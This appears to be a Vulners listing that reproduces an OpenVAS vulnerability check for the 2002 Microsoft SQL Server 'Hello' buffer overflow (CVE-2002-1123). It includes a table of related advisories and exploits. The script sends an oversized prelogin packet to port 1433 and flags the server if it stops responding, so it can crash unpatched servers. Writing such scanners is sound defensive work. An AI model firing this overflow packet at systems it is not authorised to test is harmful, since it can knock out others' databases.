| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| MS-SQL Server Protocol - General Settings (CAN-2000-1209; CVE-2002-1123) | 1 Feb 200500:00 | – | checkpoint_advisories | |
| MS-SQL Server Protocol - General Settings - Ver2 (CVE-2002-1123) | 7 Jan 201400:00 | – | checkpoint_advisories | |
| Microsoft MSDE Long TCP Request Buffer Overflow - Ver2 (CVE-2002-1123) | 3 Feb 201400:00 | – | checkpoint_advisories | |
| CVE-2002-1123 | 1 Sep 200404:00 | – | cve | |
| CVE-2002-1123 | 1 Sep 200404:00 | – | cvelist | |
| Microsoft SQL Server - Hello Overflow (MS02-056) (Metasploit) | 30 Apr 201000:00 | – | exploitdb | |
| MS02-056 Microsoft SQL Server Hello Overflow | 16 Jan 200603:48 | – | metasploit | |
| Immunity Canvas: MSSQLHELLO | 24 Sep 200200:00 | – | canvas | |
| Immunity Canvas: MSSQLRESOLVESTACK | 24 Sep 200200:00 | – | canvas | |
| Microsoft SQL Server Authentication Function Remote Overflow | 7 Aug 200200:00 | – | nessus |
# OpenVAS Vulnerability Test
# $Id: mssql_hello_overflow.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: Microsoft's SQL Hello Overflow
#
# Authors:
# Dave Aitel
# Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
# Erik Anderson <[email protected]>
# Added BugtraqID
#
# Copyright:
# Copyright (C) 2002 Dave Aitel
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "The remote MS SQL server is vulnerable to the Hello overflow.
An attacker may use this flaw to execute commands against
the remote host as LOCAL/SYSTEM, as well as read your database content.
*** This alert might be a false positive.";
tag_solution = "Install Microsoft Patch Q316333 at
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q316333&sd=tech
or disable the Microsoft SQL Server service or use a firewall to protect the
MS SQL port (1433).";
# this script tests for the "You had me at hello" overflow
# in MSSQL (tcp/1433)
# Bug found by: Dave Aitel (2002)
#TODO:
#techically we should also go to the UDP 1434 resolver service
#and get any additional ports!!!
if(description)
{
script_id(11067);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_bugtraq_id(5411);
script_cve_id("CVE-2002-1123");
script_xref(name:"IAVA", value:"2002-B-0007");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
name = "Microsoft's SQL Hello Overflow";
script_name(name);
script_category(ACT_DESTRUCTIVE_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2002 Dave Aitel");
family = "Windows";
script_family(family);
script_require_ports(1433, "Services/mssql");
script_dependencies("mssqlserver_detect.nasl", "mssql_version.nasl");
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
version = get_kb_item("mssql/SQLVersion");
if(version)
{
if(!ereg(pattern:"^8\.00\.(0?[0-5][0-9][0-9]|0?6[0-5][0-9]|66[0-4])",
string:version))exit(0);
}
#
# The script code starts here
#
#taken from mssql.spk
pkt_hdr = raw_string(
0x12 ,0x01 ,0x00 ,0x34 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x15 ,0x00 ,0x06 ,0x01 ,0x00 ,0x1b
,0x00 ,0x01 ,0x02 ,0x00 ,0x1c ,0x00 ,0x0c ,0x03 ,0x00 ,0x28 ,0x00 ,0x04 ,0xff ,0x08 ,0x00 ,0x02
,0x10 ,0x00 ,0x00 ,0x00
);
#taken from mssql.spk
pkt_tail = raw_string (
0x00 ,0x24 ,0x01 ,0x00 ,0x00
);
#techically we should also go to the UDP 1434 resolver service
#and get any additional ports!!!
port = get_kb_item("Services/mssql");
if(!port)port = 1433;
found = 0;
report = "The SQL Server is vulnerable to the Hello overflow.";
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
#uncomment this to see what normally happens
#attack_string="MSSQLServer";
#uncomment next line to actually test for overflow
attack_string=crap(560);
# this creates a variable called sql_packet
sql_packet = string(pkt_hdr,attack_string,pkt_tail);
send(socket:soc, data:sql_packet);
r = recv(socket:soc, length:4096);
close(soc);
#display ("Result:",r,"\n");
if(!r)
{
# display("Security Hole in MSSQL\n");
security_message(port);
}
}
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation